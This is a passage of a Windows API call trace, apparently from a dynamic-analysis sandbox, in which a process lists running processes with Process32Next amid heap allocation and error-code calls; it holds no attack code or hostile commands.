Flags=0x0, Size=0x4) returned 0x21168c8 [0099.049] GetLastError () returned 0x0 [0099.049] SetLastError (dwErrCode=0x0) [0099.049] GetLastError () returned 0x0 [0099.049] SetLastError (dwErrCode=0x0) [0099.049] GetLastError () returned 0x0 [0099.049] SetLastError (dwErrCode=0x0) [0099.049] GetLastError () returned 0x0 [0099.049] SetLastError (dwErrCode=0x0) [0099.049] GetLastError () returned 0x0 [0099.049] SetLastError (dwErrCode=0x0) [0099.050] GetLastError () returned 0x0 [0099.050] SetLastError (dwErrCode=0x0) [0099.050] GetLastError () returned 0x0 [0099.050] SetLastError (dwErrCode=0x0) [0099.050] GetLastError () returned 0x0 [0099.050] SetLastError (dwErrCode=0x0) [0099.050] GetLastError () returned 0x0 [0099.050] SetLastError (dwErrCode=0x0) [0099.050] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306c8 [0099.050] GetLastError () returned 0x0 [0099.050] SetLastError (dwErrCode=0x0) [0099.050] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306c8 | out: hHeap=0x2110000) returned 1 [0099.050] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168c8 | out: hHeap=0x2110000) returned 1 [0099.050] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ce0 | out: hHeap=0x2110000) returned 1 [0099.050] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116938 | out: hHeap=0x2110000) returned 1 [0099.050] GetLastError () returned 0x0 [0099.050] SetLastError (dwErrCode=0x0) [0099.051] GetLastError () returned 0x0 [0099.051] SetLastError (dwErrCode=0x0) [0099.051] GetLastError () returned 0x0 [0099.051] SetLastError (dwErrCode=0x0) [0099.051] GetLastError () returned 0x0 [0099.051] SetLastError (dwErrCode=0x0) [0099.051] GetLastError () returned 0x0 [0099.051] SetLastError (dwErrCode=0x0) [0099.051] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.052] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116958 [0099.052] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c80 [0099.052] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169a8 [0099.053] GetLastError () returned 0x0 [0099.053] SetLastError (dwErrCode=0x0) [0099.053] GetLastError () returned 0x0 [0099.053] SetLastError (dwErrCode=0x0) [0099.053] GetLastError () returned 0x0 [0099.053] SetLastError (dwErrCode=0x0) [0099.053] GetLastError () returned 0x0 [0099.053] SetLastError (dwErrCode=0x0) [0099.053] GetLastError () returned 0x0 [0099.053] SetLastError (dwErrCode=0x0) [0099.053] GetLastError () returned 0x0 [0099.053] SetLastError (dwErrCode=0x0) [0099.053] GetLastError () returned 0x0 [0099.053] SetLastError (dwErrCode=0x0) [0099.053] GetLastError () returned 0x0 [0099.053] SetLastError (dwErrCode=0x0) [0099.053] GetLastError () returned 0x0 [0099.053] SetLastError (dwErrCode=0x0) [0099.053] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0099.054] GetLastError () returned 0x0 [0099.054] SetLastError (dwErrCode=0x0) [0099.054] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.054] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169a8 | out: hHeap=0x2110000) returned 1 [0099.054] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c80 | out: hHeap=0x2110000) returned 1 [0099.054] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116958 | out: hHeap=0x2110000) returned 1 [0099.054] GetLastError () returned 0x0 [0099.054] SetLastError (dwErrCode=0x0) [0099.054] GetLastError () returned 0x0 [0099.054] SetLastError (dwErrCode=0x0) [0099.054] GetLastError () returned 0x0 [0099.054] SetLastError (dwErrCode=0x0) [0099.054] GetLastError () returned 0x0 [0099.054] SetLastError (dwErrCode=0x0) [0099.055] GetLastError () returned 0x0 [0099.055] SetLastError (dwErrCode=0x0) [0099.055] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x620, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0099.055] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116968 [0099.056] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ce0 [0099.056] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116998 [0099.056] GetLastError () returned 0x0 [0099.057] SetLastError (dwErrCode=0x0) [0099.057] GetLastError () returned 0x0 [0099.057] SetLastError (dwErrCode=0x0) [0099.057] GetLastError () returned 0x0 [0099.057] SetLastError (dwErrCode=0x0) [0099.057] GetLastError () returned 0x0 [0099.057] SetLastError (dwErrCode=0x0) [0099.057] GetLastError () returned 0x0 [0099.057] SetLastError (dwErrCode=0x0) [0099.057] GetLastError () returned 0x0 [0099.057] SetLastError (dwErrCode=0x0) [0099.057] GetLastError () returned 0x0 [0099.057] SetLastError (dwErrCode=0x0) [0099.057] GetLastError () returned 0x0 [0099.057] SetLastError (dwErrCode=0x0) [0099.057] GetLastError () returned 0x0 [0099.057] SetLastError (dwErrCode=0x0) [0099.058] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430358 [0099.058] GetLastError () returned 0x0 [0099.058] SetLastError (dwErrCode=0x0) [0099.058] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430358 | out: hHeap=0x2110000) returned 1 [0099.058] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116998 | out: hHeap=0x2110000) returned 1 [0099.058] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ce0 | out: hHeap=0x2110000) returned 1 [0099.058] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116968 | out: hHeap=0x2110000) returned 1 [0099.058] GetLastError () returned 0x0 [0099.058] SetLastError (dwErrCode=0x0) [0099.058] GetLastError () returned 0x0 [0099.058] SetLastError (dwErrCode=0x0) [0099.058] GetLastError () returned 0x0 [0099.058] SetLastError (dwErrCode=0x0) [0099.058] GetLastError () returned 0x0 [0099.059] SetLastError (dwErrCode=0x0) [0099.059] GetLastError () returned 0x0 [0099.059] SetLastError (dwErrCode=0x0) [0099.059] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0099.060] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116918 [0099.060] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c60 [0099.060] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116878 [0099.060] GetLastError () returned 0x0 [0099.060] SetLastError (dwErrCode=0x0) [0099.060] GetLastError () returned 0x0 [0099.060] SetLastError (dwErrCode=0x0) [0099.060] GetLastError () returned 0x0 [0099.060] SetLastError (dwErrCode=0x0) [0099.060] GetLastError () returned 0x0 [0099.060] SetLastError (dwErrCode=0x0) [0099.060] GetLastError () returned 0x0 [0099.060] SetLastError (dwErrCode=0x0) [0099.060] GetLastError () returned 0x0 [0099.061] SetLastError (dwErrCode=0x0) [0099.061] GetLastError () returned 0x0 [0099.061] SetLastError (dwErrCode=0x0) [0099.061] GetLastError () returned 0x0 [0099.061] SetLastError (dwErrCode=0x0) [0099.061] GetLastError () returned 0x0 [0099.061] SetLastError (dwErrCode=0x0) [0099.061] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0099.061] GetLastError () returned 0x0 [0099.061] SetLastError (dwErrCode=0x0) [0099.061] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.061] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116878 | out: hHeap=0x2110000) returned 1 [0099.061] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.061] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116918 | out: hHeap=0x2110000) returned 1 [0099.061] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.061] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d9) returned 0x2116bd8 [0099.061] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169e8 | out: hHeap=0x2110000) returned 1 [0099.061] GetLastError () returned 0x0 [0099.062] SetLastError (dwErrCode=0x0) [0099.062] GetLastError () returned 0x0 [0099.062] SetLastError (dwErrCode=0x0) [0099.062] GetLastError () returned 0x0 [0099.062] SetLastError (dwErrCode=0x0) [0099.062] GetLastError () returned 0x0 [0099.062] SetLastError (dwErrCode=0x0) [0099.062] GetLastError () returned 0x0 [0099.062] SetLastError (dwErrCode=0x0) [0099.062] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430510 | out: hHeap=0x2110000) returned 1 [0099.062] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116818 [0099.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430d40 [0099.063] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168a8 [0099.064] GetLastError () returned 0x0 [0099.064] SetLastError (dwErrCode=0x0) [0099.064] GetLastError () returned 0x0 [0099.064] SetLastError (dwErrCode=0x0) [0099.064] GetLastError () returned 0x0 [0099.064] SetLastError (dwErrCode=0x0) [0099.064] GetLastError () returned 0x0 [0099.064] SetLastError (dwErrCode=0x0) [0099.064] GetLastError () returned 0x0 [0099.064] SetLastError (dwErrCode=0x0) [0099.064] GetLastError () returned 0x0 [0099.064] SetLastError (dwErrCode=0x0) [0099.064] GetLastError () returned 0x0 [0099.064] SetLastError (dwErrCode=0x0) [0099.064] GetLastError () returned 0x0 [0099.064] SetLastError (dwErrCode=0x0) [0099.064] GetLastError () returned 0x0 [0099.064] SetLastError (dwErrCode=0x0) [0099.065] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306c8 [0099.065] GetLastError () returned 0x0 [0099.065] SetLastError (dwErrCode=0x0) [0099.065] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306c8 | out: hHeap=0x2110000) returned 1 [0099.065] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168a8 | out: hHeap=0x2110000) returned 1 [0099.065] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d40 | out: hHeap=0x2110000) returned 1 [0099.065] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116818 | out: hHeap=0x2110000) returned 1 [0099.065] GetLastError () returned 0x0 [0099.065] SetLastError (dwErrCode=0x0) [0099.065] GetLastError () returned 0x0 [0099.065] SetLastError (dwErrCode=0x0) [0099.065] GetLastError () returned 0x0 [0099.065] SetLastError (dwErrCode=0x0) [0099.065] GetLastError () returned 0x0 [0099.065] SetLastError (dwErrCode=0x0) [0099.073] GetLastError () returned 0x0 [0099.073] SetLastError (dwErrCode=0x0) [0099.073] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0099.074] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116928 [0099.075] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430e40 [0099.075] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.075] GetLastError () returned 0x0 [0099.075] SetLastError (dwErrCode=0x0) [0099.075] GetLastError () returned 0x0 [0099.075] SetLastError (dwErrCode=0x0) [0099.075] GetLastError () returned 0x0 [0099.075] SetLastError (dwErrCode=0x0) [0099.075] GetLastError () returned 0x0 [0099.075] SetLastError (dwErrCode=0x0) [0099.075] GetLastError () returned 0x0 [0099.075] SetLastError (dwErrCode=0x0) [0099.075] GetLastError () returned 0x0 [0099.075] SetLastError (dwErrCode=0x0) [0099.075] GetLastError () returned 0x0 [0099.075] SetLastError (dwErrCode=0x0) [0099.075] GetLastError () returned 0x0 [0099.076] SetLastError (dwErrCode=0x0) [0099.076] GetLastError () returned 0x0 [0099.076] SetLastError (dwErrCode=0x0) [0099.076] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303f8 [0099.076] GetLastError () returned 0x0 [0099.076] SetLastError (dwErrCode=0x0) [0099.076] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303f8 | out: hHeap=0x2110000) returned 1 [0099.076] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168c8 | out: hHeap=0x2110000) returned 1 [0099.076] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e40 | out: hHeap=0x2110000) returned 1 [0099.076] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116928 | out: hHeap=0x2110000) returned 1 [0099.076] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304c0 [0099.076] GetLastError () returned 0x0 [0099.076] SetLastError (dwErrCode=0x0) [0099.076] GetLastError () returned 0x0 [0099.076] SetLastError (dwErrCode=0x0) [0099.076] GetLastError () returned 0x0 [0099.077] SetLastError (dwErrCode=0x0) [0099.077] GetLastError () returned 0x0 [0099.077] SetLastError (dwErrCode=0x0) [0099.077] GetLastError () returned 0x0 [0099.077] SetLastError (dwErrCode=0x0) [0099.077] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304c0 | out: hHeap=0x2110000) returned 1 [0099.077] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0099.078] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116888 [0099.078] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430cc0 [0099.078] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169b8 [0099.078] GetLastError () returned 0x0 [0099.078] SetLastError (dwErrCode=0x0) [0099.078] GetLastError () returned 0x0 [0099.079] SetLastError (dwErrCode=0x0) [0099.079] GetLastError () returned 0x0 [0099.079] SetLastError (dwErrCode=0x0) [0099.079] GetLastError () returned 0x0 [0099.079] SetLastError (dwErrCode=0x0) [0099.079] GetLastError () returned 0x0 [0099.079] SetLastError (dwErrCode=0x0) [0099.079] GetLastError () returned 0x0 [0099.079] SetLastError (dwErrCode=0x0) [0099.079] GetLastError () returned 0x0 [0099.079] SetLastError (dwErrCode=0x0) [0099.079] GetLastError () returned 0x0 [0099.079] SetLastError (dwErrCode=0x0) [0099.079] GetLastError () returned 0x0 [0099.079] SetLastError (dwErrCode=0x0) [0099.080] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.080] GetLastError () returned 0x0 [0099.080] SetLastError (dwErrCode=0x0) [0099.080] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430510 | out: hHeap=0x2110000) returned 1 [0099.080] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169b8 | out: hHeap=0x2110000) returned 1 [0099.080] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430cc0 | out: hHeap=0x2110000) returned 1 [0099.080] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116888 | out: hHeap=0x2110000) returned 1 [0099.080] GetLastError () returned 0x0 [0099.080] SetLastError (dwErrCode=0x0) [0099.080] GetLastError () returned 0x0 [0099.080] SetLastError (dwErrCode=0x0) [0099.080] GetLastError () returned 0x0 [0099.080] SetLastError (dwErrCode=0x0) [0099.080] GetLastError () returned 0x0 [0099.080] SetLastError (dwErrCode=0x0) [0099.080] GetLastError () returned 0x0 [0099.081] SetLastError (dwErrCode=0x0) [0099.081] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0099.081] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168f8 [0099.082] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c80 [0099.082] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116968 [0099.082] GetLastError () returned 0x0 [0099.082] SetLastError (dwErrCode=0x0) [0099.082] GetLastError () returned 0x0 [0099.082] SetLastError (dwErrCode=0x0) [0099.082] GetLastError () returned 0x0 [0099.082] SetLastError (dwErrCode=0x0) [0099.082] GetLastError () returned 0x0 [0099.082] SetLastError (dwErrCode=0x0) [0099.082] GetLastError () returned 0x0 [0099.083] SetLastError (dwErrCode=0x0) [0099.083] GetLastError () returned 0x0 [0099.083] SetLastError (dwErrCode=0x0) [0099.083] GetLastError () returned 0x0 [0099.083] SetLastError (dwErrCode=0x0) [0099.083] GetLastError () returned 0x0 [0099.083] SetLastError (dwErrCode=0x0) [0099.083] GetLastError () returned 0x0 [0099.083] SetLastError (dwErrCode=0x0) [0099.083] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430470 [0099.083] GetLastError () returned 0x0 [0099.083] SetLastError (dwErrCode=0x0) [0099.083] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430470 | out: hHeap=0x2110000) returned 1 [0099.083] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116968 | out: hHeap=0x2110000) returned 1 [0099.083] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c80 | out: hHeap=0x2110000) returned 1 [0099.083] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168f8 | out: hHeap=0x2110000) returned 1 [0099.083] GetLastError () returned 0x0 [0099.084] SetLastError (dwErrCode=0x0) [0099.084] GetLastError () returned 0x0 [0099.084] SetLastError (dwErrCode=0x0) [0099.084] GetLastError () returned 0x0 [0099.084] SetLastError (dwErrCode=0x0) [0099.084] GetLastError () returned 0x0 [0099.084] SetLastError (dwErrCode=0x0) [0099.084] GetLastError () returned 0x0 [0099.084] SetLastError (dwErrCode=0x0) [0099.084] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0099.085] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169d8 [0099.085] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430c60 [0099.085] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116908 [0099.086] GetLastError () returned 0x0 [0099.086] SetLastError (dwErrCode=0x0) [0099.086] GetLastError () returned 0x0 [0099.086] SetLastError (dwErrCode=0x0) [0099.086] GetLastError () returned 0x0 [0099.086] SetLastError (dwErrCode=0x0) [0099.086] GetLastError () returned 0x0 [0099.086] SetLastError (dwErrCode=0x0) [0099.086] GetLastError () returned 0x0 [0099.086] SetLastError (dwErrCode=0x0) [0099.086] GetLastError () returned 0x0 [0099.086] SetLastError (dwErrCode=0x0) [0099.086] GetLastError () returned 0x0 [0099.086] SetLastError (dwErrCode=0x0) [0099.086] GetLastError () returned 0x0 [0099.086] SetLastError (dwErrCode=0x0) [0099.086] GetLastError () returned 0x0 [0099.086] SetLastError (dwErrCode=0x0) [0099.086] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306a0 [0099.086] GetLastError () returned 0x0 [0099.087] SetLastError (dwErrCode=0x0) [0099.087] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0099.087] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116908 | out: hHeap=0x2110000) returned 1 [0099.087] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.087] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169d8 | out: hHeap=0x2110000) returned 1 [0099.087] GetLastError () returned 0x0 [0099.087] SetLastError (dwErrCode=0x0) [0099.087] GetLastError () returned 0x0 [0099.087] SetLastError (dwErrCode=0x0) [0099.087] GetLastError () returned 0x0 [0099.087] SetLastError (dwErrCode=0x0) [0099.087] GetLastError () returned 0x0 [0099.087] SetLastError (dwErrCode=0x0) [0099.087] GetLastError () returned 0x0 [0099.087] SetLastError (dwErrCode=0x0) [0099.087] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0099.088] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116938 [0099.088] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430dc0 [0099.088] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116968 [0099.088] GetLastError () returned 0x0 [0099.088] SetLastError (dwErrCode=0x0) [0099.089] GetLastError () returned 0x0 [0099.089] SetLastError (dwErrCode=0x0) [0099.089] GetLastError () returned 0x0 [0099.089] SetLastError (dwErrCode=0x0) [0099.089] GetLastError () returned 0x0 [0099.089] SetLastError (dwErrCode=0x0) [0099.089] GetLastError () returned 0x0 [0099.089] SetLastError (dwErrCode=0x0) [0099.089] GetLastError () returned 0x0 [0099.089] SetLastError (dwErrCode=0x0) [0099.089] GetLastError () returned 0x0 [0099.089] SetLastError (dwErrCode=0x0) [0099.089] GetLastError () returned 0x0 [0099.089] SetLastError (dwErrCode=0x0) [0099.089] GetLastError () returned 0x0 [0099.089] SetLastError (dwErrCode=0x0) [0099.089] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.089] GetLastError () returned 0x0 [0099.089] SetLastError (dwErrCode=0x0) [0099.090] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430510 | out: hHeap=0x2110000) returned 1 [0099.090] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116968 | out: hHeap=0x2110000) returned 1 [0099.090] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430dc0 | out: hHeap=0x2110000) returned 1 [0099.090] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116938 | out: hHeap=0x2110000) returned 1 [0099.090] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303a8 [0099.090] GetLastError () returned 0x0 [0099.090] SetLastError (dwErrCode=0x0) [0099.090] GetLastError () returned 0x0 [0099.090] SetLastError (dwErrCode=0x0) [0099.090] GetLastError () returned 0x0 [0099.090] SetLastError (dwErrCode=0x0) [0099.090] GetLastError () returned 0x0 [0099.090] SetLastError (dwErrCode=0x0) [0099.090] GetLastError () returned 0x0 [0099.090] SetLastError (dwErrCode=0x0) [0099.090] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303a8 | out: hHeap=0x2110000) returned 1 [0099.091] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0099.091] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116918 [0099.092] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430ca0 [0099.092] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21169c8 [0099.092] GetLastError () returned 0x0 [0099.092] SetLastError (dwErrCode=0x0) [0099.092] GetLastError () returned 0x0 [0099.092] SetLastError (dwErrCode=0x0) [0099.092] GetLastError () returned 0x0 [0099.092] SetLastError (dwErrCode=0x0) [0099.092] GetLastError () returned 0x0 [0099.092] SetLastError (dwErrCode=0x0) [0099.092] GetLastError () returned 0x0 [0099.092] SetLastError (dwErrCode=0x0) [0099.092] GetLastError () returned 0x0 [0099.092] SetLastError (dwErrCode=0x0) [0099.093] GetLastError () returned 0x0 [0099.093] SetLastError (dwErrCode=0x0) [0099.093] GetLastError () returned 0x0 [0099.093] SetLastError (dwErrCode=0x0) [0099.093] GetLastError () returned 0x0 [0099.093] SetLastError (dwErrCode=0x0) [0099.093] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34304e8 [0099.093] GetLastError () returned 0x0 [0099.093] SetLastError (dwErrCode=0x0) [0099.093] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.093] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169c8 | out: hHeap=0x2110000) returned 1 [0099.093] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ca0 | out: hHeap=0x2110000) returned 1 [0099.093] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116918 | out: hHeap=0x2110000) returned 1 [0099.093] GetLastError () returned 0x0 [0099.093] SetLastError (dwErrCode=0x0) [0099.093] GetLastError () returned 0x0 [0099.094] SetLastError (dwErrCode=0x0) [0099.094] GetLastError () returned 0x0 [0099.094] SetLastError (dwErrCode=0x0) [0099.094] GetLastError () returned 0x0 [0099.094] SetLastError (dwErrCode=0x0) [0099.094] GetLastError () returned 0x0 [0099.094] SetLastError (dwErrCode=0x0) [0099.094] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0099.095] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2116868 [0099.095] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x3430f00 [0099.095] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21168c8 [0099.095] GetLastError () returned 0x0 [0099.095] SetLastError (dwErrCode=0x0) [0099.095] GetLastError () returned 0x0 [0099.096] SetLastError (dwErrCode=0x0) [0099.096] GetLastError () returned 0x0 [0099.096] SetLastError (dwErrCode=0x0) [0099.096] GetLastError () returned 0x0 [0099.096] SetLastError (dwErrCode=0x0) [0099.096] GetLastError () returned 0x0 [0099.096] SetLastError (dwErrCode=0x0) [0099.096] GetLastError () returned 0x0 [0099.096] SetLastError (dwErrCode=0x0) [0099.096] GetLastError () returned 0x0 [0099.096] 